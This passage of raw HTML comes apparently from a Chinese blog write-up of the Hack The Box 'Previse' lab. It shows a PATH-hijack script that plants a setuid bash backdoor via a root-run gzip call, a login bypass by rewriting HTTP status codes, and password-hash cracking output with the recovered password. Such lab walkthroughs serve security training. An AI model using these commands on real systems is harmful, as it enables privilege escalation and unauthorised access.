rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">m4lwhere@previse:~<span style="box-sizing: border-box;color: rgb(0, 0, 255);">$ ls</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-al</span> /opt/scripts/access_backup.sh</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 204);">-rwxr-xr-x</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> root root <span style="box-sizing: border-box;color: rgb(17, 102, 68);">486</span> Jun  <span style="box-sizing: border-box;color: rgb(17, 102, 68);">6</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">12</span>:49 /opt/scripts/access_backup.sh</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><p cid="n39" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">发现是没有写权限的如何使用呢？想起基础知识中的命令替换。</span></p><p cid="n40" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这里的gzip是以root权限执行，最简单的方法是使用反弹shell,可以加一个S权限的后门文件</span></p><p cid="n41" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">可以将gzip命令替换为。</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">/bin/bash</code></span><span md-inline="plain" style="box-sizing: border-box;">就可以。</span></p><p cid="n42" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">有几种思路：</span></p><ul class="list-paddingleft-2" cid="n43" mdtype="list" data-mark="-" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n45" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">可以反弹shell</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;text-align: justify;"></span></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-fileid="100001211" data-ratio="0.6416666666666667" data-s="300,640" style="" data-type="png" data-w="840" src="https://wechat2rss.xlab.app/img-proxy/?k=989409c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicprJicG9uW54wmiaDat9V3jPIfxCLywrlz78rOXwNcyPzLbeZtChCNqNx6cuoOl6syPz1ph54xcHtg0Q%2F640%3Fwx_fmt%3Dpng"/></p><ul class="list-paddingleft-2" cid="n43" mdtype="list" data-mark="-" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n45" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="background-color: rgb(255, 255, 255);">开启一个创建一个具有s权限的软连接或bash文件</span><span style="background-color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;text-align: justify;"></span></p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-fileid="100001212" data-ratio="0.5047021943573667" data-s="300,640" style="" data-type="png" data-w="1276" src="https://wechat2rss.xlab.app/img-proxy/?k=602e0335&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicprJicG9uW54wmiaDat9V3jPIficGFN6zJHMWeCnPGFdIwB6libMBs6nsKJs5DZ7jjJX3RK0Ob0aDng3pw%2F640%3Fwx_fmt%3Dpng"/></p><blockquote cid="n51" mdtype="blockquote" style="box-sizing: border-box;margin-top: 1rem;margin-bottom: 1rem;border-left-width: 4px;border-left-color: rgb(223, 226, 229);padding-top: 0px;padding-right: 15px;padding-left: 15px;color: rgb(119, 119, 119);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><p cid="n52" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">经过测试发现效果一样但是使用软链接创建的文件使用的会将s权限加在/bin/bash文件上</span></p></blockquote><pre spellcheck="false" lang="bash" cid="n53" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(51, 0, 170);">cd</span> /tmp</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(51, 0, 170);">cat</span> &lt;&lt; EOF &gt; gzip</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#!/bin/bash</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(51, 0, 170);">ln</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-s</span> /bin/bash /tmp/bash</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(51, 0, 170);">chmod</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>s <span style="box-sizing: border-box;color: rgb(51, 0, 170);">bash</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">EOF</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(51, 0, 170);">chmod</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>x gzip</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">export</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">PATH</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(0, 153, 0);">$(pwd)</span>:<span style="box-sizing: border-box;color: rgb(0, 0, 255);">$PATH</span></span></pre><p><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></p><h3 cid="n56" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: center;background-color: rgb(255, 255, 255);"><span style="font-size: 24px;"><strong style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;white-space: normal;"><span style="font-size: 24px;color: rgb(255, 76, 0);">其他思路</span></strong></span><br/></h3><h5 cid="n57" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">登陆</span></h5><p cid="n58" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">抓包后点击</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">Do interrcept &gt; Response to this request</code></span><span md-inline="plain" style="box-sizing: border-box;">来进行更改状态码将404返回头修改为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">HTTP/1.1 200</code></span></p><p cid="n59" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这个我不知道，回来看到这里代码看了下，确实有，php代码只进行了登陆校验，但是没有使用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">exit()</code></span><span md-inline="plain" style="box-sizing: border-box;">或者</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">die()</code></span><span md-inline="plain" style="box-sizing: border-box;">函数结束运行。</span></p><h5 cid="n60" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">密码破解</span></h5><h6 cid="n61" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;color: rgb(119, 119, 119);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">john</span></h6><pre spellcheck="false" lang="bash" cid="n62" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">┌──(root💀kali)-[~/tmp]</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">└─<span style="box-sizing: border-box;color: rgb(170, 85, 0);"># john -format=md5crypt-long -wordlist=/usr/share/wordlists/rockyou.txt 1.txt                             </span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Using default input encoding: UTF-8</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Loaded <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> password hash (md5crypt-long, crypt(3) <span style="box-sizing: border-box;color: rgb(0, 0, 255);">$1$ </span>(and variants) [MD5 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">32</span>/64])</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Will run <span style="box-sizing: border-box;color: rgb(17, 102, 68);">8</span> OpenMP threads</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Press <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;q&#39;</span> or Ctrl-C to abort, almost any other key <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> status</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ilovecody112235! (?)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">1g <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>:00:07:19 DONE (2021-10-15 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">05</span>:52) <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>.002275g/s 16869p/s 16869c/s 16869C/s ilovecokey..ilovecody..</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Use the <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;--show&#34;</span> option to display all of the cracked passwords reliably</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Session completed</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><h6 cid="n63" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;color: rgb(119, 119, 119);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">hastcat</span></h6><pre spellcheck="false" lang="bash" cid="n64" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">┌──(root💀root)-[~/Desktop]</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">└─<span style="box-sizing: border-box;color: rgb(170, 85, 0);"># hashcat -a 0 -m 500 1.txt --wordlist /usr/share/wordlists/rockyou.txt  -o 123                                                                                                                             255 ⨯</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">hashcat (v6.1.1) starting...</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">OpenCL API (OpenCL <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>.2 pocl <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>.5, None<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>Asserts, LLVM <span style="box-sizing: border-box;color: rgb(17, 102, 68);">9</span>.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> Platform <span style="box-sizing: border-box;color: rgb(170, 85, 0);">#1 [The pocl project]</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=============================================================================================================================</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">* Device <span style="box-sizing: border-box;color: rgb(170, 85, 0);">#1: pthread-Intel(R) Core(TM) i7-6700K CPU @ 4.00GHz, 2868/2932 MB (1024 MB allocatable), 2MCU</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Minimum password length supported by kernel: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Maximum password length supported by kernel: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">256</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Hashes: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> digests; <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> unique digests, <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> unique salts</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Bitmaps: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">16</span> bits, <span style="box-sizing: border-box;color: rgb(17, 102, 68);">65536</span> entries, 0x0000ffff mask, <span style="box-sizing: border-box;color: rgb(17, 102, 68);">262144</span> bytes, <span style="box-sizing: border-box;color: rgb(17, 102, 68);">5</span>/13 rotates</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Rules: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Applicable optimizers applied:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">* Zero-Byte</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">* Single-Hash</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">* Single-Salt</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ATTENTION! Pure (unoptimized) backend kernels selected.</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Using pure kernels enables cracking longer passwords but <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> the price of drastically reduced performance.</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">If you want to switch to optimized backend kernels, append <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-O</span> to your commandline.</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">See the above message to <span style="box-sizing: border-box;color: rgb(51, 0, 170);">find</span> out about the exact limits.</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Watchdog: Hardware monitoring interface not found on your system.</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Watchdog: Temperature abort trigger disabled.</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Host memory required <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> this attack: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">64</span> MB</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Dictionary cache hit:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">* Filename..: /usr/share/wordlists/rockyou.txt</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">* Passwords.: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">14344385</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">* Bytes.....: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">139921507</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">* Keyspace..: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">14344385</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">┌──(root💀root)-[~/Desktop]</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">└─<span style="box-sizing: border-box;color: rgb(170, 85, 0);"># cat 123                                                          </span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 255);">$1$�</span>�llol<span style="box-sizing: border-box;color: rgb(0, 0, 255);">$DQpmdvnb7EeuO6UaqRItf</span>.:ilovecody112235!</span></pre><p cid="n65" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p cid="n66" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><h3 style="margin: 40px 10px 20px;font-weight: bold;font-size: 19.2px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span data-raw-text="R" data-textnode-index="199" data-index="5415" class="character">R</span><span data-raw-text="e" data-textnode-index="199" data-index="5416" class="character">e</span><span data-raw-text="f" data-textnode-index="199" data-index="5417" class="character">f</span><span data-raw-text="e" data-textnode-index="199" data-index="5418" class="character">e</span><span data-raw-text="r" data-textnode-index="199" data-index="5419" class="character">r</span><span data-raw-text="e" data-textnode-index="199" data-index="5420" class="character">e</span><span data-raw-text="n" data-textnode-index="199" data-index="5421" class="character">n</span><span data-raw-text="c" data-textnode-index="199" data-index="5422" class="character">c</span><span data-raw-text="e" data-textnode-index="199" data-index="5423" class="character">e</span><span data-raw-text="s" data-textnode-index="199" data-index="5424" class="character">s</span></h3><p cid="n89" mdtype="paragraph" style="font-size: 16px;white-space: normal;"><code style="color: rgb(63, 63, 63);text-align: left;background-color: rgb(255, 255, 255);box-sizing: border-box;font-size: 12.6px;opacity: 0.6;"><span data-raw-text="[" data-textnode-index="200" data-index="5425" class="character">[</span><span data-raw-text="1" data-textnode-index="200" data-index="5426" class="character">1</span><span data-raw-text="]" data-textnode-index="200" data-index="5427" class="character">]</span></code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-align: left;background-color: rgb(255, 255, 255);"><span data-raw-text=" " data-textnode-index="201" data-index="5428" class="character"> </span></span><span data-raw-text="《" data-textnode-index="201" data-index="5429" class="character" style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-align: left;">《</span><span data-raw-text="6" data-textnode-index="201" data-index="5434" class="character" style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-align: left;">Hackthebox - Previse 靶场实战》</span><span data-raw-text=":" data-textnode-index="201" data-index="5445" class="character" style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-align: left;">: </span><em style=""><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-align: left;">https://zhuanlan.zhihu.com/p/392971774</span></em></p><p cid="n89" mdtype="paragraph" style="font-size: 16px;white-space: normal;"><br/></p><p cid="n89" mdtype="paragraph" style="font-size: 16px;white-space: normal;"><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-align: left;"><span data-raw-text="喜" data-textnode-index="203" data-index="5473" class="character" style="font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">喜</span><span data-raw-text="欢" data-textnode-index="203" data-index="5474" class="character" style="font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">欢</span><span data-raw-text="就" data-textnode-index="203" data-index="5475" class="character" style="font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">就</span><span data-raw-text="请" data-textnode-index="203" data-index="5476" class="character" style="font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">请</span><span data-raw-text="关" data-textnode-index="203" data-index="5477" class="character" style="font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">关</span><span data-raw-text="注" data-textnode-index="203" data-index="5478" class="character" style="font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">注</span><span data-raw-text="我" data-textnode-index="203" data-index="5479" class="character" style="font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">我</span><span data-raw-text="们" data-textnode-index="203" data-index="5480" class="character" style="font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">们</span><span data-raw-text="吧" data-textnode-index="203" data-index="5481" class="character" style="font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">吧</span><span data-raw-text="！" data-textnode-index="203" data-index="5482" class="character" style="font-size: 19.2px;font-weight: 700;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">！</span></span></p><p cid="n68" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><em style="font-size: 16px;white-space: normal;"><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-align: left;"></span></em><span style="color: rgb(91, 128, 141);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-decoration: underline;"></span></span></span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" 